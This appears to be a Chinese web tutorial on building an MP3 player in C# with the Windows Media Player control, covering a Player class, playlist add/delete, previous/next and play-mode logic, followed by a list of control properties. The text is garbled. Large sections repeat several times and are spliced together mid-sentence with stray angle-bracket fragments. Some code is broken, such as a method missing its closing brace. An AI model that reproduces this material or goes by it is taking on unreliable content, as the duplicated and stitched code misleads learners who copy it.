C#中利用mediaplayer打造mp3播放器

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>利用Window Media Player 控件自己做一款小巧的mp3播放器来听音乐 ,是不是很享受呢?今天刚写出来的,听听mp3感觉还不错哦。 闲话少说,进入正题。

  Mp3播放器主要完成下列功能:

  1. 添加歌曲,可以添加单个乐曲或者指定文件夹内包括其子文件夹内的所有mp3乐曲到播放列表。
 
  2. 删除指定歌曲或所有歌曲。

  3. 播放的控制。包括选择上一首,下一首播放,顺序播放,循环播放和随机播放。循环播放又分单个歌曲的循环播放和所有歌曲的循环播放。

  首先建立类player。

public class Player
{
 private AxWMPLib.AxWindowsMediaPlayer myPlayer;
 private string[] playList;
 private int numOfMusic;
 private int currentPlay;

 public int NumOfMusic
 {
  get
  {
   return numOfMusic;
  }
 }

 public WMPLib.WMPPlayState playstate
 {
  get
  {
   return myPlayer.playState;
  }
 }

 public string PlayList(int num)
 {
  return playList[num];
 }

 public Player(AxWMPLib.AxWindowsMediaPlayer mediaPlayer)
 {
  myPlayer = mediaPlayer;
  playList = new string[1000];
  numOfMusic = 0;
 }

 public void AddFile(string path)
 {
  if(numOfMusic < 1000)
  {
   numOfMusic ++;
   playList[numOfMusic] = path;
  }
 }

 public void DelFile(int selectNum)
 {
  for(int i = selectNum; i <= numOfMusic - 1; i++)
  {
   playList[i] = playList[i + 1];
  }
  numOfMusic --;
 }

 public void play(int selectNum)
 {
  myPlayer.URL = playList[selectNum];
  currentPlay = selectNum;
 }

 public int NextPlay(int type)
 {
  /* type = 0 顺序

  type = 1 重复播放全部
  type = 2 重复播放一首
  type = 3 随机播放

  */

  switch (type)
  {
   case 0:
    currentPlay ++;
    if(currentPlay > numOfMusic)return 0;
    else return currentPlay;
   case 1:
    currentPlay ++;
    if(currentPlay > numOfMusic) return 1;
    else return currentPlay;
   case 2:
    return currentPlay;
   case 3:
    Random rdm = new Random(unchecked((int)DateTime.Now.Ticks));
    currentPlay = rdm.Next() % numOfMusic;
    if(currentPlay == 0) return numOfMusic;
    else return currentPlay;
   default:
    return 0;
  }
 }
}


  Player类中包括一个windowsMediaPlayer对象myPlayer,一个存储播放列表的数组playlist,记录歌曲总数的numOfMusic,以及当前播放的歌曲对应列表中的序号currentplay; 另外有四个方法分别是Play,AddFile,DelFile,以及获得下次播放序号的NextPlay

  分功能列出其他主要代码

  添加单个歌曲

if(this.openFileDialog1.ShowDialog() == DialogResult.OK)
{
 string path = this.openFileDialog1.FileName;
 FileInfo f = new FileInfo(path);
 MyPlayer.AddFile(f.FullName);
 string STRFILE = Convert.ToString(MyPlayer.NumOfMusic);
 for(int i = 1;i<=5-STRFILE.Length;i++)STRFILE+=’ ’;
 STRFILE += f.Name;
 this.listBox1.Items.Add(STRFILE);
}


  添加一个文件夹及其所有子文件夹的歌曲

  利用递归函数showfiles实现所有层歌曲都添加到歌曲列表中。

private void showfiles(string path,ListBox listBox1)
{
 DirectoryInfo dir = new DirectoryInfo(path);
 foreach(FileInfo f in dir.GetFiles("*.mp3"))
 {
  MyPlayer.AddFile(f.FullName);
 }
 foreach(DirectoryInfo f in dir.GetDirectories())
 {
  showfiles(f.FullName,listBox1);
 }


  删除和清空直接调用类Player中的AddFile和DelFile函数

  实现播放上一首

if(listBox1.SelectedIndex >= 0)
{
 listBox1.SelectedIndex --;
 if(listBox1.SelectedIndex <0)listBox1.SelectedIndex = MyPlayer.NumOfMusic - 1;
 MyPlayer.play(listBox1.SelectedIndex + 1);
}


  下一首

<  利用Window Media Player 控件自己做一款小巧的mp3播放器来听音乐 ,是不是很享受呢?今天刚写出来的,听听mp3感觉还不错哦。 闲话少说,进入正题。

  Mp3播放器主要完成下列功能:

  1. 添加歌曲,可以添加单个乐曲或者指定文件夹内包括其子文件夹内的所有mp3乐曲到播放列表。
 
  2. 删除指定歌曲或所有歌曲。

  3. 播放的控制。包括选择上一首,下一首播放,顺序播放,循环播放和随机播放。循环播放又分单个歌曲的循环播放和所有歌曲的循环播放。

  首先建立类player。

public class Player
{
 private AxWMPLib.AxWindowsMediaPlayer myPlayer;
 private string[] playList;
 private int numOfMusic;
 private int currentPlay;

 public int NumOfMusic
 {
  get
  {
   return numOfMusic;
  }
 }

 public WMPLib.WMPPlayState playstate
 {
  get
  {
   return myPlayer.playState;
  }
 }

 public string PlayList(int num)
 {
  return playList[num];
 }

 public Player(AxWMPLib.AxWindowsMediaPlayer mediaPlayer)
 {
  myPlayer = mediaPlayer;
  playList = new string[1000];
  numOfMusic = 0;
 }

 public void AddFile(string path)
 {
  if(numOfMusic < 1000)
  {
   numOfMusic ++;
   playList[numOfMusic] = path;
  }
 }

 public void DelFile(int selectNum)
 {
  for(int i = selectNum; i <= numOfMusic - 1; i++)
  {
   playList[i] = playList[i + 1];
  }
  numOfMusic --;
 }

 public void play(int selectNum)
 {
  myPlayer.URL = playList[selectNum];
  currentPlay = selectNum;
 }

 public int NextPlay(int type)
 {
  /* type = 0 顺序

  type = 1 重复播放全部
  type = 2 重复播放一首
  type = 3 随机播放

  */

  switch (type)
  {
   case 0:
    currentPlay ++;
    if(currentPlay > numOfMusic)return 0;
    else return currentPlay;
   case 1:
    currentPlay ++;
    if(currentPlay > numOfMusic) return 1;
    else return currentPlay;
   case 2:
    return currentPlay;
   case 3:
    Random rdm = new Random(unchecked((int)DateTime.Now.Ticks));
    currentPlay = rdm.Next() % numOfMusic;
    if(currentPlay == 0) return numOfMusic;
    else return currentPlay;
   default:
    return 0;
  }
 }
}


  Player类中包括一个windowsMediaPlayer对象myPlayer,一个存储播放列表的数组playlist,记录歌曲总数的numOfMusic,以及当前播放的歌曲对应列表中的序号currentplay; 另外有四个方法分别是Play,AddFile,DelFile,以及获得下次播放序号的NextPlay

  分功能列出其他主要代码

  添加单个歌曲

if(this.openFileDialog1.ShowDialog() == DialogResult.OK)
{
 string path = this.openFileDialog1.FileName;
 FileInfo f = new FileInfo(path);
 MyPlayer.AddFile(f.FullName);
 string STRFILE = Convert.ToString(MyPlayer.NumOfMusic);
 for(int i = 1;i<=5-STRFILE.Length;i++)STRFILE+=’ ’;
 STRFILE += f.Name;
 this.listBox1.Items.Add(STRFILE);
}


  添加一个文件夹及其所有子文件夹的歌曲

  利用递归函数showfiles实现所有层歌曲都添加到歌曲列表中。

private void showfiles(string path,ListBox listBox1)
{
 DirectoryInfo dir = new DirectoryInfo(path);
 foreach(FileInfo f in dir.GetFiles("*.mp3"))
 {
  MyPlayer.AddFile(f.FullName);
 }
 foreach(DirectoryInfo f in dir.GetDirectories())
 {
  showfiles(f.FullName,listBox1);
 }


  删除和清空直接调用类Player中的AddFile和DelFile函数

  实现播放上一首

if(listBox1.SelectedIndex >= 0)
{
 listBox1.SelectedIndex --;
 if(listBox1.SelectedIndex <0)listBox1.SelectedIndex = MyPlayer.NumOfMusic - 1;
 MyPlayer.play(listBox1.SelectedIndex + 1);
}


  下一首

if(listBox1.SelectedIndex >= 0)
{
 listBox1.SelectedIndex = (listBox1.SelectedIndex + 1) % MyPlayer.NumOfMusic;
 MyPlayer.play(listBox1.SelectedIndex + 1);
}


  播放的控制

  利用Player的NextPlay方法返回的值来选择下一次播放的内容。

  同时利用PlayStateChange事件来实现由一曲到下一曲的替换,但是在响应PlayStateChange事件的时候直接改变Player的url无法让它直接播放下一曲,解决方法如下:

<  利用Window Media Player 控件自己做一款小巧的mp3播放器来听音乐 ,是不是很享受呢?今天刚写出来的,听听mp3感觉还不错哦。 闲话少说,进入正题。

  Mp3播放器主要完成下列功能:

  1. 添加歌曲,可以添加单个乐曲或者指定文件夹内包括其子文件夹内的所有mp3乐曲到播放列表。
 
  2. 删除指定歌曲或所有歌曲。

  3. 播放的控制。包括选择上一首,下一首播放,顺序播放,循环播放和随机播放。循环播放又分单个歌曲的循环播放和所有歌曲的循环播放。

  首先建立类player。

public class Player
{
 private AxWMPLib.AxWindowsMediaPlayer myPlayer;
 private string[] playList;
 private int numOfMusic;
 private int currentPlay;

 public int NumOfMusic
 {
  get
  {
   return numOfMusic;
  }
 }

 public WMPLib.WMPPlayState playstate
 {
  get
  {
   return myPlayer.playState;
  }
 }

 public string PlayList(int num)
 {
  return playList[num];
 }

 public Player(AxWMPLib.AxWindowsMediaPlayer mediaPlayer)
 {
  myPlayer = mediaPlayer;
  playList = new string[1000];
  numOfMusic = 0;
 }

 public void AddFile(string path)
 {
  if(numOfMusic < 1000)
  {
   numOfMusic ++;
   playList[numOfMusic] = path;
  }
 }

 public void DelFile(int selectNum)
 {
  for(int i = selectNum; i <= numOfMusic - 1; i++)
  {
   playList[i] = playList[i + 1];
  }
  numOfMusic --;
 }

 public void play(int selectNum)
 {
  myPlayer.URL = playList[selectNum];
  currentPlay = selectNum;
 }

 public int NextPlay(int type)
 {
  /* type = 0 顺序

  type = 1 重复播放全部
  type = 2 重复播放一首
  type = 3 随机播放

  */

  switch (type)
  {
   case 0:
    currentPlay ++;
    if(currentPlay > numOfMusic)return 0;
    else return currentPlay;
   case 1:
    currentPlay ++;
    if(currentPlay > numOfMusic) return 1;
    else return currentPlay;
   case 2:
    return currentPlay;
   case 3:
    Random rdm = new Random(unchecked((int)DateTime.Now.Ticks));
    currentPlay = rdm.Next() % numOfMusic;
    if(currentPlay == 0) return numOfMusic;
    else return currentPlay;
   default:
    return 0;
  }
 }
}


  Player类中包括一个windowsMediaPlayer对象myPlayer,一个存储播放列表的数组playlist,记录歌曲总数的numOfMusic,以及当前播放的歌曲对应列表中的序号currentplay; 另外有四个方法分别是Play,AddFile,DelFile,以及获得下次播放序号的NextPlay

  分功能列出其他主要代码

  添加单个歌曲

if(this.openFileDialog1.ShowDialog() == DialogResult.OK)
{
 string path = this.openFileDialog1.FileName;
 FileInfo f = new FileInfo(path);
 MyPlayer.AddFile(f.FullName);
 string STRFILE = Convert.ToString(MyPlayer.NumOfMusic);
 for(int i = 1;i<=5-STRFILE.Length;i++)STRFILE+=’ ’;
 STRFILE += f.Name;
 this.listBox1.Items.Add(STRFILE);
}


  添加一个文件夹及其所有子文件夹的歌曲

  利用递归函数showfiles实现所有层歌曲都添加到歌曲列表中。

private void showfiles(string path,ListBox listBox1)
{
 DirectoryInfo dir = new DirectoryInfo(path);
 foreach(FileInfo f in dir.GetFiles("*.mp3"))
 {
  MyPlayer.AddFile(f.FullName);
 }
 foreach(DirectoryInfo f in dir.GetDirectories())
 {
  showfiles(f.FullName,listBox1);
 }


  删除和清空直接调用类Player中的AddFile和DelFile函数

  实现播放上一首

if(listBox1.SelectedIndex >= 0)
{
 listBox1.SelectedIndex --;
 if(listBox1.SelectedIndex <0)listBox1.SelectedIndex = MyPlayer.NumOfMusic - 1;
 MyPlayer.play(listBox1.SelectedIndex + 1);
}


  下一首

if(listBox1.SelectedIndex >= 0)
{
 listBox1.SelectedIndex = (listBox1.SelectedIndex + 1) % MyPlayer.NumOfMusic;
 MyPlayer.play(listBox1.SelectedIndex + 1);
}


  播放的控制

  利用Player的NextPlay方法返回的值来选择下一次播放的内容。

  同时利用PlayStateChange事件来实现由一曲到下一曲的替换,但是在响应PlayStateChange事件的时候直接改变Player的url无法让它直接播放下一曲,解决方法如下:

private void axWindowsMediaPlayer1_PlayStateChange(object sender, AxWMPLib._WMPOCXEvents_PlayStateChangeEvent e)
{
 if(MyPlayer.playstate == WMPLib.WMPPlayState.wmppsMediaEnded)
 {
  timer1.Start();
 }
}

private void timer1_Tick(object sender, System.EventArgs e)
{
 timer1.Stop();
 int selectnum = 0;
 if(menuItem13.Checked)selectnum = MyPlayer.NextPlay(0);
 else if (menuItem15.Checked)selectnum = MyPlayer.NextPlay(1);
 else if (menuItem16.Checked)selectnum = MyPlayer.NextPlay(2);
 else if (menuItem17.Checked)selectnum = MyPlayer.NextPlay(3);
 if(selectnum != 0)
 {
  listBox1.SelectedIndex = selectnum - 1; 
  MyPlayer.play(selectnum);
 }
}
  满足一首歌曲结束的条件的时候唤醒计时器,计时器100ms内就响应函数timer1_Tick,在这个函数里实现下一首歌曲的选择播放便可以顺利进行.

  至此主要功能便完成了!立刻用来听听mp3,自己的东西感觉就是不一样哦!>private void axWindowsMediaPlayer1_PlayStateChange(object sender, AxWMPLib._WMPOCXEvents_PlayStateChangeEvent e)
{
 if(MyPlayer.playstate == WMPLib.WMPPlayState.wmppsMediaEnded)
 {
  timer1.Start();
 }
}

private void timer1_Tick(object sender, System.EventArgs e)
{
 timer1.Stop();
 int selectnum = 0;
 if(menuItem13.Checked)selectnum = MyPlayer.NextPlay(0);
 else if (menuItem15.Checked)selectnum = MyPlayer.NextPlay(1);
 else if (menuItem16.Checked)selectnum = MyPlayer.NextPlay(2);
 else if (menuItem17.Checked)selectnum = MyPlayer.NextPlay(3);
 if(selectnum != 0)
 {
  listBox1.SelectedIndex = selectnum - 1; 
  MyPlayer.play(selectnum);
 }
}
  满足一首歌曲结束的条件的时候唤醒计时器,计时器100ms内就响应函数timer1_Tick,在这个函数里实现下一首歌曲的选择播放便可以顺利进行.

  至此主要功能便完成了!立刻用来听听mp3,自己的东西感觉就是不一样哦!>if(listBox1.SelectedIndex >= 0)
{
 listBox1.SelectedIndex = (listBox1.SelectedIndex + 1) % MyPlayer.NumOfMusic;
 MyPlayer.play(listBox1.SelectedIndex + 1);
}


  播放的控制

  利用Player的NextPlay方法返回的值来选择下一次播放的内容。

  同时利用PlayStateChange事件来实现由一曲到下一曲的替换,但是在响应PlayStateChange事件的时候直接改变Player的url无法让它直接播放下一曲,解决方法如下:

private void axWindowsMediaPlayer1_PlayStateChange(object sender, AxWMPLib._WMPOCXEvents_PlayStateChangeEvent e)
{
 if(MyPlayer.playstate == WMPLib.WMPPlayState.wmppsMediaEnded)
 {
  timer1.Start();
 }
}

private void timer1_Tick(object sender, System.EventArgs e)
{
 timer1.Stop();
 int selectnum = 0;
 if(menuItem13.Checked)selectnum = MyPlayer.NextPlay(0);
 else if (menuItem15.Checked)selectnum = MyPlayer.NextPlay(1);
 else if (menuItem16.Checked)selectnum = MyPlayer.NextPlay(2);
 else if (menuItem17.Checked)selectnum = MyPlayer.NextPlay(3);
 if(selectnum != 0)
 {
  listBox1.SelectedIndex = selectnum - 1; 
  MyPlayer.play(selectnum);
 }
}


  满足一首歌曲结束的条件的时候唤醒计时器,计时器100ms内就响应函数timer1_Tick,在这个函数里实现下一首歌曲的选择播放便可以顺利进行.

  至此主要功能便完成了!立刻用来听听mp3,自己的东西感觉就是不一样哦!<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
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1、基本属性  URL 指定媒体位置,本机或网络地址 例如:axWindowsMediaPlayer1.URL = @"f:\aa.mp3"; uiMode 播放器界面模式,可为Full, Mini, None, Invisible ;Full:有下面的控制条; None:只有播放部份没有控制条 例如:axWindowsMediaPlayer1.uiMode = "Invisible"; playState 播放状态,1=停止,2=暂停,3=播放,6=正在缓冲,9=正在连接,10=准备就绪 enableContextMenu 启用/禁用右键菜单 fullScreen 是否全屏显示 stretchToFit 非全屏状态时是否伸展到最佳大小 2、播放器基本控制 Ctlcontrols.play(); 播放 Ctlcontrols.pause(); 暂停 Ctlcontrols.stop(); 停止 Ctlcontrols.currentPosition 当前进度 Ctlcontrols.currentPositionString 当前进度,字符串格式。如“00:23” Ctlcontrols.fastForward(); 快进 Ctlcontrols.fastReverse(); 快退 Ctlcontrols.next(); 下一曲 Ctlcontrols.previous(); 上一曲 3、播放器基本设置 settings.volume 音量,0-100 settings.balance 声道,通过它应该可以进行立体声、左声道、右声道的控制。 settings.autoStart 是否自动播放 settings.mute 是否静音 settings.playCount 播放次数 settings.rate 播放速度 4、当前媒体属性 currentMedia.duration 媒体总长度 currentMedia.durationString 媒体总长度,字符串格式。如“03:24” currentMedia.getItemInfo(const string) 获取当前媒体信息"Title"=媒体标题,"Author"=艺术家,"Copyright"=版权信息,"Description"=媒体内容描述,"Duration"=持续时间(秒),"FileSize"=文件大小,"FileType"=文件类型,"sourceURL"=原始地址 currentMedia.setItemInfo(const string) 通过属性名设置媒体信息 currentMedia.name 同 currentMedia.getItemInfo("Title")
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